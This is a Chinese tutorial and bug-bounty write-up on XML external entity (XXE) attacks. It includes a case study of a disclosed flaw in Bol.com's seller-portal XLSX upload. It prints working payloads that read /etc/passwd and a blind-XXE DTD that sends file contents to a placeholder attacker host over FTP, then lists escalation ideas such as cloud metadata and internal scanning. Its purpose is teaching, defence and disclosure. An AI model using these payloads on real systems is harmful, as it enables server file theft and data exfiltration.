看我如何发现Bol.com网站的XXE漏洞并成功利用
字数 1327 2025-08-18 11:38:48

XXE漏洞挖掘与利用技术详解

1. XXE漏洞概述

XML外部实体(XXE)攻击是一种基于XML文档处理的漏洞,攻击者通过操纵XML实体来读取服务器上的敏感文件或执行远程请求。

1.1 相关概念

  • LFI (Local File Inclusion): 在服务器响应中显示内部服务器文件的过程
  • RCE (Remote Code Execution): 在服务器上执行攻击者代码的过程
  • SSRF (Server-Side Request Forgery): 诱导服务器向内部系统发起请求

1.2 XXE攻击的危害

  • 读取服务器敏感文件(/etc/passwd、配置文件等)
  • 可能导致服务器拒绝服务
  • 可能升级为RCE漏洞
  • 可能用于SSRF攻击内部网络
  • 可能访问云元数据服务获取临时凭证

2. XML与DTD基础

2.1 XML基本结构

<?xml version="1.0" encoding="UTF-8"?>
<note>
  <to>Tove</to>
  <from>Jani</from>
  <heading>Reminder</heading>
  <body>Don't forget me this weekend!</body>
</note>

2.2 DTD (Document Type Definition)

DTD允许定义自定义实体:

<!DOCTYPE r [
  <!ELEMENT r ANY >
  <!ENTITY body "Don't forget me this weekend!" >
]>

2.3 危险的实体定义

通过SYSTEM关键字可以加载外部资源:

<!ENTITY body SYSTEM "file:///etc/passwd">

3. XXE攻击技术

3.1 基本XXE攻击

当XML解析器允许加载外部实体时,可以读取服务器文件:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
  <!ELEMENT r ANY >
  <!ENTITY body SYSTEM "file:///etc/passwd" >
]>
<note>
  <body><r>&body;</r></body>
</note>

3.2 盲XXE攻击

当响应不直接显示时,可以通过外部DTD泄漏数据:

  1. 创建恶意DTD文件(sp2.dtd):
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % c "<!ENTITY body SYSTEM 'ftp://x.x.x.x:21/%d;'>">
  1. 发送包含外部DTD引用的XML:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE r [
  <!ENTITY % a SYSTEM "http://x.x.x.x:80/dtds/sp2.dtd">
  %a;
  %c;
]>
<note>
  <body><r>&body;</r></body>
</note>

3.3 文件枚举技术

尝试解析目录而非文件可以枚举服务器文件:

<!ENTITY body SYSTEM "file:///etc/">

4. 实际案例分析:Bol.com XXE漏洞

4.1 攻击面发现

通过"卖家门户"的Excel文件上传功能:

  • 下载库存Excel文件(XLSX格式)
  • XLSX实际上是包含多个XML文件的ZIP包
  • 修改sheet1.xml注入XXE payload
  • 重新打包并上传

4.2 攻击步骤

  1. 解压XLSX文件
  2. 编辑sheet1.xml添加恶意实体
  3. 将示例描述替换为实体引用
  4. 重新打包为XLSX格式
  5. 上传文件并观察结果

4.3 成功利用

成功将/etc/passwd内容注入到产品描述中,证明漏洞存在。

5. 防御措施

5.1 最佳实践

  • 禁用XML解析器中的DTD支持
  • 使用更安全的解析器配置
  • 实施输入过滤和验证

5.2 具体防护方案

参考OWASP对不同XML解析器的安全配置指南:

  • 禁用外部实体处理
  • 禁用DTD处理
  • 实施严格的输入验证

6. 工具推荐

  1. XXEserve: 用于捕获XXE请求的FTP/HTTP服务器

    • 作者:staaldraad
    • 功能:显示所有XXE请求,伪造FTP服务
  2. Buffalo工具: 用于将XXE payload嵌入多种文件格式

7. 扩展利用思路

  1. 检查云元数据服务(如AWS/Azure/GCP)
  2. 查找包含API密钥的配置文件
  3. 尝试从LFI升级到RCE
  4. 内部网络探测和端口扫描

8. 漏洞报告时间线

  1. 发现漏洞并验证
  2. 撰写详细报告
  3. 提交给厂商
  4. 厂商快速响应并修复
  5. 漏洞关闭

9. 学习资源

  1. OWASP XXE防护指南
  2. 不同XML解析器的安全配置
  3. XXE payload变种集合

通过系统学习XXE漏洞原理、利用技术和防御措施,安全研究人员可以更有效地发现和报告此类漏洞,同时开发人员也能更好地保护自己的应用免受此类攻击。

XXE漏洞挖掘与利用技术详解 1. XXE漏洞概述 XML外部实体(XXE)攻击是一种基于XML文档处理的漏洞,攻击者通过操纵XML实体来读取服务器上的敏感文件或执行远程请求。 1.1 相关概念 LFI (Local File Inclusion) : 在服务器响应中显示内部服务器文件的过程 RCE (Remote Code Execution) : 在服务器上执行攻击者代码的过程 SSRF (Server-Side Request Forgery) : 诱导服务器向内部系统发起请求 1.2 XXE攻击的危害 读取服务器敏感文件(/etc/passwd、配置文件等) 可能导致服务器拒绝服务 可能升级为RCE漏洞 可能用于SSRF攻击内部网络 可能访问云元数据服务获取临时凭证 2. XML与DTD基础 2.1 XML基本结构 2.2 DTD (Document Type Definition) DTD允许定义自定义实体: 2.3 危险的实体定义 通过SYSTEM关键字可以加载外部资源: 3. XXE攻击技术 3.1 基本XXE攻击 当XML解析器允许加载外部实体时,可以读取服务器文件: 3.2 盲XXE攻击 当响应不直接显示时,可以通过外部DTD泄漏数据: 创建恶意DTD文件(sp2.dtd): 发送包含外部DTD引用的XML: 3.3 文件枚举技术 尝试解析目录而非文件可以枚举服务器文件: 4. 实际案例分析:Bol.com XXE漏洞 4.1 攻击面发现 通过"卖家门户"的Excel文件上传功能: 下载库存Excel文件(XLSX格式) XLSX实际上是包含多个XML文件的ZIP包 修改sheet1.xml注入XXE payload 重新打包并上传 4.2 攻击步骤 解压XLSX文件 编辑sheet1.xml添加恶意实体 将示例描述替换为实体引用 重新打包为XLSX格式 上传文件并观察结果 4.3 成功利用 成功将/etc/passwd内容注入到产品描述中,证明漏洞存在。 5. 防御措施 5.1 最佳实践 禁用XML解析器中的DTD支持 使用更安全的解析器配置 实施输入过滤和验证 5.2 具体防护方案 参考OWASP对不同XML解析器的安全配置指南: 禁用外部实体处理 禁用DTD处理 实施严格的输入验证 6. 工具推荐 XXEserve : 用于捕获XXE请求的FTP/HTTP服务器 作者:staaldraad 功能:显示所有XXE请求,伪造FTP服务 Buffalo工具 : 用于将XXE payload嵌入多种文件格式 7. 扩展利用思路 检查云元数据服务(如AWS/Azure/GCP) 查找包含API密钥的配置文件 尝试从LFI升级到RCE 内部网络探测和端口扫描 8. 漏洞报告时间线 发现漏洞并验证 撰写详细报告 提交给厂商 厂商快速响应并修复 漏洞关闭 9. 学习资源 OWASP XXE防护指南 不同XML解析器的安全配置 XXE payload变种集合 通过系统学习XXE漏洞原理、利用技术和防御措施,安全研究人员可以更有效地发现和报告此类漏洞,同时开发人员也能更好地保护自己的应用免受此类攻击。